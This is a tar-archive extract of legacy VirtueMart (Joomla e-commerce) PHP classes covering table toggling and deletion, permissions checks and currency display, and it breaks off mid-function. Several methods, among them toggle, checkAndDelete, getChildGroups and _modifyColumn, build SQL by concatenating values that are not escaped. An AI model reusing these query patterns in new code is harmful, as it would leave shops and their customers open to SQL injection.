	function toggle($field, $val = NULL) {

		if ($val === NULL) {
			$this->$field = !$this->$field;
		} else {
			$this->$field = $val;
		}
		$k = $this->_tbl_key;
		$q = 'UPDATE `' . $this->_tbl . '` SET `' . $field . '` = "' . $this->$field . '" WHERE `' . $k . '` = "' . $this->$k . '" ';
		$this->_db->setQuery($q);
		if (!$res = $this->_db->execute()) {
			vmError('There was an error toggling ' . $field, $this->_db->getErrorMsg());
		} else {
			vmdebug('Toggled '.$q );
		}

		return $res;
	}

	public function resetErrors() {

		$this->_errors = array();
	}


	function delete($oid = null, $where = 0) {

		$k = $this->_tbl_key;

		if ($oid) {
			$this->$k = intval($oid);
		}

		$mainTableError = $this->checkAndDelete($this->_tbl, $where);

		if ($this->_translatable) {

			$langs = VmConfig::get('active_languages', array());
			if (!$langs) $langs[] = VmConfig::$vmlang;
			if (!class_exists('VmTableData')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmtabledata.php');
			foreach ($langs as $lang) {
				$lang = strtolower(strtr($lang, '-', '_'));
				$langError = $this->checkAndDelete($this->_tbl . '_' . $lang);
				$mainTableError = min($mainTableError, $langError);
			}
		}

		return $mainTableError;
	}

	// author stAn
	// returns true when mysql version is larger than 5.0
	function isMysql51Plus() {

		$r = $this->getMysqlVersion();
		return version_compare($r, '5.1.0', '>=');
	}

	// author: stan, added in 2.0.16+
	// returns mysql version for query optimalization
	function getMysqlVersion() {

		$q = 'select version()';
		if (!isset(self::$_cache[md5($q)])) {
			$this->_db->setQuery($q);
			return $this->_db->loadResult();
		} else return self::$_cache[md5($q)];

	}

	function checkAndDelete($table, $whereField = 0, $andWhere = '') {

		$ok = 1;
		$k = $this->_tbl_key;

		if ($whereField !== 0) {
			$whereKey = $whereField;
		} else {
			$whereKey = $this->_pkey;
		}

		$query = 'SELECT `' . $this->_tbl_key . '` FROM `' . $table . '` WHERE `' . $whereKey . '` = "' . $this->$k . '" '.$andWhere;
		$this->_db->setQuery($query);
		// 		vmdebug('checkAndDelete',$query);
		$list = $this->_db->loadColumn();
		// 		vmdebug('checkAndDelete',$list);


		if ($list) {

			foreach ($list as $row) {
				$ok = $row;
				$query = 'DELETE FROM `' . $table . '` WHERE ' . $this->_tbl_key . ' = "' . $row . '"';
				$this->_db->setQuery($query);

				if (!$this->_db->execute()) {
					$this->setError($this->_db->getErrorMsg());
					vmError('checkAndDelete ' . $this->_db->getErrorMsg());
					$ok = 0;
				}
			}

		}
		return $ok;
	}

	/**
	 * Add, change or drop userfields
	 *
	 * @param string $_act Action: ADD, DROP or CHANGE (synonyms available, see the switch cases)
	 * @param string $_col Column name
	 * @param string $_type fieldtype
	 * @param string $_col2 Second Column name
	 * @return boolean True on success
	 * @author Oscar van Eijk
	 *
	 * stAn - note: i disabled deleting of user data when a column (shopper field) is deleted. If a deletion of specific user or order is needed, it can be done separatedly
	 * The column if not set with $_col2 will be renamed to ORIGINALNAME_DELETED_{timestamp()} and depending on mysql version it's definition will change
	 */
	function _modifyColumn($_act, $_col, $_type = '', $_col2 = '') {

		$_sql = 'ALTER TABLE `' . $this->_tbl . '` ';


		$_check_act = strtoupper(substr($_act, 0, 3));
		//Check if a column is there

		//$columns = $this->_db->getTableColumns($this->_tbl);
		$columns = $this->showFullColumns('Field','Type',false);

		$res = array_key_exists($_col, $columns);

		if ($_check_act != 'ADD' and $_check_act != 'CRE') {
			if (!$res) {
				vmdebug('_modifyColumn Command was ' . $_check_act . ' column does not exist, changed to ADD');
				$_check_act = 'ADD';

			}
		} else {
			if ($res) {
				vmdebug('_modifyColumn Command was ' . $_check_act . ' column already exists, changed to MOD');
				$_check_act = 'UPD';

			}
		}

		switch ($_check_act) {
			case 'ADD':
			case 'CRE': // Create
				$_sql .= "ADD $_col $_type ";
				break;
			case 'DRO': // Drop
			case 'DEL': // Delete
				//stAn, i strongly do not recommend to delete customer information only because a field was deleted
				if (empty($_col2)){
					$_col2 = $_col . '_DELETED_' . time();
					vmInfo('Be aware the column of table '.$this->_tbl.' is not deleted, only renamed to '.$_col2);
				}

				if (!$this->isMysql51Plus()) {
					if (empty($_type)) $_type = 'TEXT CHARACTER SET utf8';
				}

				// NOT NULL not allowed for deleted columns
				//$t_type = str_ireplace(' NOT ', '', $_type);
				$_sql .= "CHANGE $_col $_col2 $_type ";
				//was: $_sql .= "DROP $_col ";
				break;
			case 'MOD': // Modify
			case 'UPD': // Update
			case 'CHA': // Change
				if (empty($col2)) $_col2 = $_col; // change type only
				$_sql .= "CHANGE $_col $_col2 $_type ";
				break;
		}

		$this->_db->setQuery($_sql);

		$this->_db->execute();
		if ($this->_db->getErrorNum() != 0) {
			vmError(get_class($this) . '::modify table - ' . $this->_db->getErrorMsg() . '<br /> values: action ' . $_act . ', columname: ' . $_col . ', type: ' . $_type . ', columname2: ' . $_col2);
			return false;
		}
		vmdebug('_modifyColumn executed successfully ' . $_sql);
		return true;
	}

}
���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������reportfunctions.php���������������������������������������������������������������������������������0000666�����������������00000001035�15137212725�0010531 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Report helper class
 *
 * This class provides some functions that are used by reports in VirtueMart shop.
 *
 * @package	VirtueMart
 * @subpackage Helpers
 * @author Wicksj
 * @copyright Copyright (c) 2004-2008 Soeren Eberhardt-Biermann, 2009 VirtueMart Team. All rights reserved.
 */

class ReportFunctions {

	/**
	 * @var global database object
	 */
	private $_db = null;


	/**
	 * Contructor
	 */
	public function __construct(){

		$this->_db = JFactory::getDBO();
	}



}

//pure php no tag���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������permissions.php�������������������������������������������������������������������������������������0000666�����������������00000032013�15137212725�0007640 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
if( !defined( '_JEXEC' ) ) die( 'Direct Access to '.basename(__FILE__).' is not allowed.' );
/**
*
* @version $Id: permissions.php 6490 2012-10-02 13:15:10Z Milbo $
* @package VirtueMart
* @subpackage classes
* @author Sören
* @author Max Milbers
* @copyright Copyright (C) 2010-2011 Virtuemart Team - All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* VirtueMart is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See /administrator/components/com_virtuemart/COPYRIGHT.php for copyright notices and details.
*
* http://virtuemart.org
*/

/**
 * The permission handler class for VirtueMart.
 *
 * @todo Further cleanup
 */
class Permissions extends JObject{

	/** @var array Contains all the user groups */
	var $_user_groups;

	/** @var virtuemart_user_id for the permissions*/
	var $_virtuemart_user_id;		//$auth['virtuemart_user_id']

	var $_show_prices; //$auth['show_prices']

	var $_db;

	private $_perms = 'shopper';

	var $_is_registered_customer;

	private $_vendorId = false;

	static $_instance;

	public function __construct() {

		$this->_db = JFactory::getDBO();
 		$this->_perms = $this->doAuthentication();

		$user = JFactory::getUser();

	}

	static public function getInstance() {
		if(!is_object(self::$_instance)){
			self::$_instance = new Permissions();
		}else {

		}
 		return self::$_instance;
    }


	/**
	 * Get permissions for a user ID
	 *
	 * @param int $virtuemart_user_id the user ID to check. If no user ID is given the currently logged in user will be used.
	 * @return string permissions
	 */
	public function getPermissions ($userId=null) {
		// default to current user
		if ($userId == null) {
			$user = JFactory::getUser();
			$userId = $user->id;
		}

		// only re-run authentication if we have a different user
		//vmdebug('getPermissions',$this->_virtuemart_user_id,$userId);
		if ($userId != $this->_virtuemart_user_id) {
			$perms = $this->doAuthentication($userId);
		} else {
			$perms = $this->_perms;
		}
		return $perms;
	}

	/**
	* description: Validates if someone is registered customer.
	*            by checking if one has a billing address
	* parameters: virtuemart_user_id
	* returns: true if the user has a BT address
	*          false if the user has none
	*
	* Check if a user is registered in the shop (=customer)
	*
	* @param int $virtuemart_user_id the user ID to check. If no user ID is given the currently logged in user will be used.
	* @return boolean
	*/
	public function isRegisteredCustomer($virtuemart_user_id=0) {
		if ($virtuemart_user_id == 0) {
			/* Lets see if we can get the current signed in user */
			$user = JFactory::getUser();
			if ($user->id == 0) return false;
			else $virtuemart_user_id = $user->id;
		}

		$this->_db = JFactory::getDBO();
		/* If the registration type is neither "no registration" nor "optional registration",
			there *must* be a related Joomla! user, we can join */
		if (VmConfig::get('vm_registration_type') != 'NO_REGISTRATION'
			&& VmConfig::get('vm_registration_type') != 'OPTIONAL_REGISTRATION') {
			$q  = "SELECT COUNT(virtuemart_user_id) AS num_rows
				FROM `#__virtuemart_userinfos`, `#__users`
				WHERE `id`=`virtuemart_user_id`
				AND #__virtuemart_userinfos.virtuemart_user_id='" . (int)$virtuemart_user_id . "'
				AND #__virtuemart_userinfos.address_type='BT'";
		}
		else {
			$q  = "SELECT COUNT(virtuemart_user_id) AS num_rows
				FROM `#__virtuemart_userinfos`
				WHERE #__virtuemart_userinfos.virtuemart_user_id='" . (int)$virtuemart_user_id . "'
				AND #__virtuemart_userinfos.address_type='BT'";
		}
		$this->_db->setQuery($q);
		return $this->_db->loadResult();
	}

	/**
	* This function does the basic authentication
	* for a user in the shop.
	* It assigns permissions, the name, country, zip  and
	* the shopper group id with the user and the session.
	* @return array Authentication information
	*/
	function doAuthentication ($user_id=null) {

		$this->_db = JFactory::getDBO();
		$session = JFactory::getSession();
		$user = JFactory::getUser($user_id);


		if(!empty($user->id)){
			$this->_virtuemart_user_id   = $user->id;

			//We must prevent that Administrators or Managers are 'just' shoppers
			//TODO rewrite it working correctly with jooomla ACL
			if(JVM_VERSION === 2 ){
				if($user->authorise('core.admin')){
					$perm  = 'admin';
				}
			} else {
				if(strpos($user->usertype,'Administrator')!== false){
					$perm  = 'admin';
				}
			}

			if(empty($perm)){

				if(JVM_VERSION === 2 ){
					if($user->groups){
						if($user->authorise('core.admin')){
							$perm  = 'admin';
						} else if($user->authorise('core.manage')){
							$perm  = 'storeadmin';
						} else {
							$perm  = 'shopper';
						}
					} else {
						$perm  = 'shopper';
					}

				} else {
					if(strpos($user->usertype,'Administrator')!== false){
						$perm  = 'admin';
					} else if(strpos($user->usertype,'Manager')!== false){
						$perm  = 'storeadmin';
					} else {
						$perm  = 'shopper';
					}
				}

			}

			$this->_is_registered_customer = true;
		} else {

			$this->_virtuemart_user_id = 0;
			$perm  = 'shopper';
			$this->_is_registered_customer = false;
		}

		return $perm;
	}

	/**
	 * Validates the permission to do something.
	 *
	 * @param string $perms
	 * @return boolean Check successful or not
	 * @example $perm->check( 'admin,storeadmin' );
	 * 			returns true when the user is admin or storeadmin
	 */
	public function check($perms) {

		$user = JFactory::getUser();

		if(strpos($perms,',')!==FALSE){
			$perms = explode(',',$perms);
		} else {
			$perms = array($perms);
		}

		foreach($perms as $perm){
			if($perm=='admin'){
				if($user->authorise('core.admin')){
					return true;
				}
			}
			if($perm=='storeadmin'){
				if($user->authorise('core.manage')){
					return true;
				}
			}
		}
		return false;
		/* Set the authorization for use */

		// Parse all permissions in argument, comma separated
		// It is assumed auth_user only has one group per user.
/*			$p1 = explode(",", $this->_perms);
			$p2 = explode(",", $perms);
// 			vmdebug('check '.$perms,$p1,$p2);
			while (list($key1, $value1) = each($p1)) {
				while (list($key2, $value2) = each($p2)) {
					if ($value1 == $value2) {
						return true;
					}
				}
			}
		return false;*/
	}

	/**
	 * Checks if user is admin or has vendorId=1,
	 * if superadmin, but not a vendor it gives back vendorId=1 (single vendor, but multiuser administrated)
	 *
	 * @author Mattheo Vicini
	 * @author Max Milbers
	 */

	public function isSuperVendor(){

		$user = JFactory::getUser();
		if(!$this->_vendorId){

			if(!empty( $user->id)){
				$q='SELECT `virtuemart_vendor_id` FROM `#__virtuemart_vmusers` `au`
				WHERE `au`.`virtuemart_user_id`="' .$user->id.'" AND `au`.`user_is_vendor` = "1" ';

				$db= JFactory::getDbo();
				$db->setQuery($q);
				$virtuemart_vendor_id = $db->loadResult();
				if ($virtuemart_vendor_id) {
					$this->_vendorId = $virtuemart_vendor_id;
				} else {
					$this->_vendorId = 0;
				}
			} else {
				return false;
			}

		}

		if($this->_vendorId!=0){
			return $this->_vendorId;
		} else {
			if($user->authorise('core.admin', 'com_virtuemart') or $user->authorise('core.manage', 'com_virtuemart') ){
				$this->_vendorId = 1;
				return $this->_vendorId;
			}
		}
		return false;
	}


	/**
	 * lists the permission levels in a select box
	 * @author pablo
	 * @param string $name The name of the select element
	 * @param string $group_name The preselected key
	 */
	function list_perms( $name, $group_name, $size=1, $multi=false ) {

		$auth = $_SESSION['auth'];
		if( $multi ) {
			$multi = 'multiple="multiple"';
		}

		// Get users current permission value
		$dvalue = $this->user_groups[$this->_perms];

		$perms = $this->getUserGroups();
		arsort( $perms );

		if( $size==1 ) {
			$values[0] = JText::_('COM_VIRTUEMART_SELECT');
		}
		foreach($perms as $key => $value) {
			// Display only those permission that this user can set
			if ($value >= $dvalue) {
				$values[$key] = $key;
			}
		}

		if( $size > 1 ) {
			$name .= '[]';
			$values['none'] = JText::_('COM_VIRTUEMART_NO_RESTRICTION');
		}

		echo VmHTML::selectList( $name, $group_name, $values, $size, $multi );
	}




	/**
	* Here we insert groups that are allowed to view prices
	*
	*/
	function prepareACL() {
		// The basic ACL integration in Mambo/Joomla is not awesome
		$child_groups = self::getChildGroups( '#__core_acl_aro_groups', 'g1.virtuemart_shoppergroup_id, g1.name, COUNT(g2.name) AS level', 'g1.name', null, VmConfig::get('vm_price_access_level'));

		echo '<pre>'.print_r($child_groups,1).'</pre>';


		foreach( $child_groups as $child_group ) {
			self::_addToGlobalACL( 'virtuemart', 'prices', 'users', $child_group->name, null, null );
		}
		$admin_groups = self::getChildGroups( '#__core_acl_aro_groups', 'g1.virtuemart_shoppergroup_id, g1.name, COUNT(g2.name) AS level', 'g1.name', null, 'Public Backend' );
		foreach( $admin_groups as $child_group ) {
			self::_addToGlobalACL( 'virtuemart', 'prices', 'users', $child_group->name, null, null );
		}

	}

	/**
	 * Function from an old Mambo phpgacl integration function
	 * @deprecated (but necessary, sigh!)
	 * @static
	 * @param string $table
	 * @param string $fields
	 * @param string $groupby
	 * @param int $root_id
	 * @param string $root_name
	 * @param boolean $inclusive
	 * @return array
	 */
	function getChildGroups($table, $fields, $groupby=null, $root_id=null, $root_name=null, $inclusive=true) {
		$database = JFactory::getDBO();
		$root = new stdClass();
		$root->lft = 0;
		$root->rgt = 0;
		$fields = str_replace( 'virtuemart_shoppergroup_id', 'id', $fields );

		if ($root_id) {
		}
		else if ($root_name) {
			$database->setQuery("SELECT `lft`, `rgt` FROM `".$table."` WHERE `name`='".$root_name."'" );
			$root = $database->loadObject();
		}

		$where = '';
		if ($root->lft+$root->rgt != 0) {
			if ($inclusive) {
				$where = "WHERE g1.lft BETWEEN $root->lft AND $root->rgt";
			} else {
				$where = "WHERE g1.lft BETWEEN $root->lft+1 AND $root->rgt-1";
			}
		}

		$database->setQuery( "SELECT ".$fields
			. "\nFROM ".$table." AS g1"
			. "\nINNER JOIN ".$table." AS g2 ON g1.lft BETWEEN g2.lft AND g2.rgt"
			. "\n". $where
			. ($groupby ? "\nGROUP BY ".$groupby : "")
			. "\nORDER BY g1.lft"
		);

		return $database->loadObjectList();
	}

	/**
	* This is a temporary function to allow 3PD's to add basic ACL checks for their
	* modules and components.  NOTE: this information will be compiled in the db
	* in future versions
	 * @static
	 * @param unknown_type $aco_section_value
	 * @param unknown_type $aco_value
	 * @param unknown_type $aro_section_value
	 * @param unknown_type $aro_value
	 * @param unknown_type $axo_section_value
	 * @param unknown_type $axo_value
	 */
	function _addToGlobalACL( $aco_section_value, $aco_value, $aro_section_value, $aro_value, $axo_section_value=NULL, $axo_value=NULL ) {
		global $acl;
		$acl->acl[] = array( $aco_section_value, $aco_value, $aro_section_value, $aro_value, $axo_section_value, $axo_value );
		$acl->acl_count = count( $acl->acl );
	}

	/**
	 * Returns a tree with the children of the root group id
	 * @static
	 * @param int $root_id
	 * @param string $root_name
	 * @param boolean $inclusive
	 * @return unknown
	 */
	function getGroupChildrenTree( $root_id=null, $root_name=null, $inclusive=true ) {
		global $database, $_VERSION;

		$tree = ps_perm::getChildGroups( '#__core_acl_aro_groups',
			'g1.virtuemart_shoppergroup_id, g1.name, COUNT(g2.name) AS level',
			'g1.name',
			$root_id, $root_name, $inclusive );

		// first pass get level limits
		$n = count( $tree );
		$min = $tree[0]->level;
		$max = $tree[0]->level;
		for ($i=0; $i < $n; $i++) {
			$min = min( $min, $tree[$i]->level );
			$max = max( $max, $tree[$i]->level );
		}

		$indents = array();
		foreach (range( $min, $max ) as $i) {
			$indents[$i] = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;';
		}
		// correction for first indent
		$indents[$min] = '';

		$list = array();
		for ($i=$n-1; $i >= 0; $i--) {
			$shim = '';
			foreach (range( $min, $tree[$i]->level ) as $j) {
				$shim .= $indents[$j];
			}

			if (@$indents[$tree[$i]->level+1] == '.&nbsp;') {
				$twist = '&nbsp;';
			} else {
				$twist = "-&nbsp;";
			}

			if( $_VERSION->PRODUCT == 'Joomla!' && $_VERSION->RELEASE >= 1.5 ) {
				$tree[$i]->virtuemart_shoppergroup_id = $tree[$i]->id;
			}
			$list[$tree[$i]->virtuemart_shoppergroup_id] = $shim.$twist.$tree[$i]->name;
			if ($tree[$i]->level < @$tree[$i-1]->level) {
				$indents[$tree[$i]->level+1] = '.&nbsp;';
			}
		}

		ksort($list);
		return $list;
	}
}

//pure php no closing tag���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������currencydisplay.php���������������������������������������������������������������������������������0000666�����������������00000046266�15137212725�0010524 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
if( !defined( '_JEXEC' ) ) die( 'Direct Access to '.basename(__FILE__).' is not allowed.' );



/**
 *
 * @version $Id: currencydisplay.php 6566 2012-10-19 16:33:47Z Milbo $
 * @package VirtueMart
 * @subpackage classes
 *
 * @author Max Milbers
 * @copyright Copyright (C) 2004-2008 Soeren Eberhardt-Biermann - All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See /administrator/components/com_virtuemart/COPYRIGHT.php for copyright notices and details.
 *
 * http://virtuemart.net
 */

class CurrencyDisplay {

	static $_instance;
	private $_currencyConverter;

	private $_currency_id   = '0';		// string ID related with the currency (ex : language)
	private $_symbol    		= 'udef';	// Printable symbol
	private $_nbDecimal 		= 2;	// Number of decimals past colon (or other)
	private $_decimal   		= ',';	// Decimal symbol ('.', ',', ...)
	private $_thousands 		= ' '; 	// Thousands separator ('', ' ', ',')
	private $_positivePos	= '{number}{symbol}';	// Currency symbol position with Positive values :
	private $_negativePos	= '{sign}{number}{symbol}';	// Currency symbol position with Negative values :
	private $_numeric_code = 0;
	var $_priceConfig	= array();	//holds arrays of 0 and 1 first is if price should be shown, second is rounding
	var $exchangeRateShopper = 1.0;
	var $_vendorCurrency_code_3 = null;


	private function __construct ($vendorId = 0){

		$this->_app = JFactory::getApplication();
		if(empty($vendorId)) $vendorId = 1;

		$this->_db = JFactory::getDBO();
		$q = 'SELECT `vendor_currency`,`currency_code_3`,`currency_numeric_code` FROM `#__virtuemart_vendors` AS v
		LEFT JOIN `#__virtuemart_currencies` AS c ON virtuemart_currency_id = vendor_currency
		WHERE v.`virtuemart_vendor_id`="'.(int)$vendorId.'"';

		$this->_db->setQuery($q);
		$row = $this->_db->loadRow();
		$this->_vendorCurrency = $row[0];
		$this->_vendorCurrency_code_3 = $row[1];
		$this->_vendorCurrency_numeric = (int)$row[2];

		//vmdebug('$row ',$row);
		$converterFile  = VmConfig::get('currency_converter_module','convertECB.php');

		if (file_exists( JPATH_VM_ADMINISTRATOR.DS.'plugins'.DS.'currency_converter'.DS.$converterFile ) and !is_dir(JPATH_VM_ADMINISTRATOR.DS.'plugins'.DS.'currency_converter'.DS.$converterFile)) {
			$module_filename=substr($converterFile, 0, -4);
			require_once(JPATH_VM_ADMINISTRATOR.DS.'plugins'.DS.'currency_converter'.DS.$converterFile);
			if( class_exists( $module_filename )) {
				$this->_currencyConverter = new $module_filename();
			}
		} else {

			if(!class_exists('convertECB')) require(JPATH_VM_ADMINISTRATOR.DS.'plugins'.DS.'currency_converter'.DS.'convertECB.php');
			$this->_currencyConverter = new convertECB();

		}

	}

	/**
	 *
	 * Gives back the format of the currency, gets $style if none is set, with the currency Id, when nothing is found it tries the vendorId.
	 * When no param is set, you get the format of the mainvendor
	 *
	 * @author Max Milbers
	 * @param int 		$currencyId Id of the currency
	 * @param int 		$vendorId Id of the vendor
	 * @param string 	$style The vendor_currency_display_code
	 *   FORMAT:
	 1: id,
	 2: CurrencySymbol,
	 3: NumberOfDecimalsAfterDecimalSymbol,
	 4: DecimalSymbol,
	 5: Thousands separator
	 6: Currency symbol position with Positive values :
	 7: Currency symbol position with Negative values :

	 EXAMPLE: ||&euro;|2|,||1|8
	 * @return string
	 */
	static public function getInstance($currencyId=0,$vendorId=0){

		// 		if(empty(self::$_instance) || empty(self::$_instance->_currency_id) || ($currencyId!=self::$_instance->_currency_id && !empty($currencyId)) ){

		if(empty(self::$_instance)  || (!empty($currencyId) and $currencyId!=self::$_instance->_currency_id) ){

			self::$_instance = new CurrencyDisplay($vendorId);

			if(empty($currencyId)){

				if(self::$_instance->_app->isSite()){
					self::$_instance->_currency_id = self::$_instance->_app->getUserStateFromRequest( "virtuemart_currency_id", 'virtuemart_currency_id',JRequest::getInt('virtuemart_currency_id', 0));
				}
				if(empty(self::$_instance->_currency_id)){
					self::$_instance->_currency_id = self::$_instance->_vendorCurrency;
				}

			} else {
				self::$_instance->_currency_id = $currencyId;
			}


			$q = 'SELECT * FROM `#__virtuemart_currencies` WHERE `virtuemart_currency_id`="'.(int)self::$_instance->_currency_id.'"';
			self::$_instance->_db->setQuery($q);
			$style = self::$_instance->_db->loadObject();

			if(!empty($style)){
				self::$_instance->setCurrencyDisplayToStyleStr($style);
			} else {
				$uri = JFactory::getURI();
				VmConfig::loadJLang('com_virtuemart');

				if(empty(self::$_instance->_currency_id)){
					$link = $uri->root().'administrator/index.php?option=com_virtuemart&view=user&task=editshop';
					JError::raiseWarning('1', JText::sprintf('COM_VIRTUEMART_CONF_WARN_NO_CURRENCY_DEFINED','<a href="'.$link.'">'.$link.'</a>'));
				} else{
					if(JRequest::getWord('view')!='currency'){
						$link = $uri->root().'administrator/index.php?option=com_virtuemart&view=currency&task=edit&cid[]='.self::$_instance->_currency_id;
						JError::raiseWarning('1', JText::sprintf('COM_VIRTUEMART_CONF_WARN_NO_FORMAT_DEFINED','<a href="'.$link.'">'.$link.'</a>'));
					}
				}

				//				self::$_instance->setCurrencyDisplayToStyleStr($currencyId);
				//would be nice to automatically unpublish the product/currency or so
			}
		}
		self::$_instance->setPriceArray();

		return self::$_instance;
	}

	/**
	 * Parse the given currency display string into the currency diplsy values.
	 *
	 * This function takes the currency style string as saved in the vendor
	 * record and parses it into its appropriate values.  An example style
	 * string would be 1|&euro;|2|,|.|0|0
	 *
	 * @author Max Milbers
	 * @param String $currencyStyle String containing the currency display settings
	 */
	private function setCurrencyDisplayToStyleStr($style) {
		//vmdebug('setCurrencyDisplayToStyleStr ',$style);
		$this->_currency_id = $style->virtuemart_currency_id;
		$this->_symbol = $style->currency_symbol;
		$this->_nbDecimal = $style->currency_decimal_place;
		$this->_decimal = $style->currency_decimal_symbol;
		$this->_numeric_code = (int)$style->currency_numeric_code;
		$this->_thousands = $style->currency_thousands;
		$this->_positivePos = $style->currency_positive_style;
		$this->_negativePos = $style->currency_negative_style;

	}

	/**
	 * This function sets an array, which holds the information if
	 * a price is to be shown and the number of rounding digits
	 *
	 * @author Max Milbers
	 */
	function setPriceArray(){

		if(count($this->_priceConfig)>0)return true;

		if(!class_exists('JParameter')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'html'.DS.'parameter.php' );

		$user = JFactory::getUser();

		$result = false;
		if(!empty($user->id)){
			$q = 'SELECT `vx`.`virtuemart_shoppergroup_id` FROM `#__virtuemart_vmusers` as `u`
									LEFT OUTER JOIN `#__virtuemart_vmuser_shoppergroups` AS `vx` ON `u`.`virtuemart_user_id`  = `vx`.`virtuemart_user_id`
									LEFT OUTER JOIN `#__virtuemart_shoppergroups` AS `sg` ON `vx`.`virtuemart_shoppergroup_id` = `sg`.`virtuemart_shoppergroup_id`
									WHERE `u`.`virtuemart_user_id` = "'.$user->id.'" ';
			$this->_db->setQuery($q);
			$result = $this->_db->loadResult();
		}

		if(!$result){
			$q = 'SELECT `price_display`,`custom_price_display` FROM `#__virtuemart_shoppergroups` AS `sg`
							WHERE `sg`.`default` = "'.($user->guest+1).'" ';

			$this->_db->setQuery($q);
			$result = $this->_db->loadRow();
		} else {
			$q = 'SELECT `price_display`,`custom_price_display` FROM `#__virtuemart_shoppergroups` AS `sg`
										WHERE `sg`.`virtuemart_shoppergroup_id` = "'.$result.'" ';

			$this->_db->setQuery($q);
			$result = $this->_db->loadRow();
		}

		if(!empty($result[0])){
			$result[0] = unserialize($result[0]);
		}

		$custom_price_display = 0;
		if(!empty($result[1])){
			$custom_price_display = $result[1];
		}

		if($custom_price_display && !empty($result[0])){
			$show_prices = $result[0]->get('show_prices',VmConfig::get('show_prices', 1));
			// 			vmdebug('$result[0]',$result[0],$show_prices);
		} else {
			$show_prices = VmConfig::get('show_prices', 1);
		}



		$priceFields = array('basePrice','variantModification','basePriceVariant',
											'basePriceWithTax','discountedPriceWithoutTax',
											'salesPrice','priceWithoutTax',
											'salesPriceWithDiscount','discountAmount','taxAmount','unitPrice');

		if($show_prices==1){
			foreach($priceFields as $name){
				$show = 0;
				$round = 0;
				$text = 0;

				//Here we check special settings of the shoppergroup
				// 				$result = unserialize($result);
				if($custom_price_display==1){
					$show = (int)$result[0]->get($name);
					$round = (int)$result[0]->get($name.'Rounding');
					$text = $result[0]->get($name.'Text');
					// 					vmdebug('$custom_price_display');
				} else {
					$show = VmConfig::get($name,0);
					$round = VmConfig::get($name.'Rounding',2);
					$text = VmConfig::get($name.'Text',0);
					// 					vmdebug('$config_price_display');
				}

				//Map to currency
				if($round==-1){
					$round = $this->_nbDecimal;
					//vmdebug('Use currency rounding '.$round);
				}
				$this->_priceConfig[$name] = array($show,$round,$text);
			}
		} else {
			foreach($priceFields as $name){
				$this->_priceConfig[$name] = array(0,0,0);
			}
		}

		// 		vmdebug('$this->_priceConfig',$this->_priceConfig);
	}

	/**
	 * getCurrencyForDisplay: get The actual displayed Currency
	 * Use this only in a view, plugin or modul, never in a model
	 *
	 * @param integer $currencyId
	 * return integer $currencyId: displayed Currency
	 *
	 */
	public function getCurrencyForDisplay( $currencyId=0 ){

		if(empty($currencyId)){
			$currencyId = (int)$this->_app->getUserStateFromRequest( 'virtuemart_currency_id', 'virtuemart_currency_id',$this->_vendorCurrency );
			if(empty($currencyId)){
				$currencyId = $this->_vendorCurrency;
			}
		}

		return $currencyId;
	}

	/**
	 * This function is for the gui only!
	 * Use this only in a view, plugin or modul, never in a model
	 * TODO for vm2.2 remove quantity option
	 * @param float $price
	 * @param integer $currencyId
	 * return string formatted price
	 */
	public function priceDisplay($price, $currencyId=0,$quantity = 1.0,$inToShopCurrency = false,$nb= -1){

		$price = $this->roundForDisplay($price,$currencyId, $quantity ,$inToShopCurrency, $nb);
		return $this->getFormattedCurrency($price,$nb);
	}

	public function roundForDisplay($price, $currencyId=0,$quantity = 1.0,$inToShopCurrency = false,$nb= -1){

		$currencyId = $this->getCurrencyForDisplay($currencyId);
		if($nb==-1){
			$nb = $this->_nbDecimal;
		}

		$price = (float)$price * (float)$quantity;

		$price = $this->convertCurrencyTo($currencyId,$price,$inToShopCurrency);

		if($this->_numeric_code===756 and VmConfig::get('rappenrundung',FALSE)=="1"){
			$price = round((float)$price * 2,1) * 0.5;
		} else {
			$price = round($price,$nb);
		}
		return $price;
	}

	/**
	 * Format, Round and Display Value
	 * @author Max Milbers
	 * @param val number
	 */
	public function getFormattedCurrency( $nb, $nbDecimal=-1){

		//TODO $this->_nbDecimal is the config of the currency and $nbDecimal is the config of the price type.
		if($nbDecimal==-1) $nbDecimal = $this->_nbDecimal;
		if($nb>=0){
			$format = $this->_positivePos;
			$sign = '+';
		} else {
			$format = $this->_negativePos;
			$sign = '-';
			$nb = abs($nb);
		}

		//$res = $this->formatNumber($nb, $nbDecimal, $this->_thousands, $this->_decimal);
		$res = number_format((float)$nb,(int)$nbDecimal,$this->_decimal,$this->_thousands);
		$search = array('{sign}', '{number}', '{symbol}');
		$replace = array($sign, $res, $this->_symbol);
		$formattedRounded = str_replace ($search,$replace,$format);

		return $formattedRounded;
	}

	/**
	 * function to create a div to show the prices, is necessary for JS
	 *
	 * @author Max Milbers
	 * @author Patrick Kohl
	 * @param string name of the price
	 * @param String description key
	 * @param array the prices of the product
	 * return a div for prices which is visible according to config and have all ids and class set
	 */
	public function createPriceDiv($name,$description,$product_price,$priceOnly=false,$switchSequel=false,$quantity = 1.0,$forceNoLabel=false){

		// 		vmdebug('createPriceDiv '.$name,$product_price[$name]);
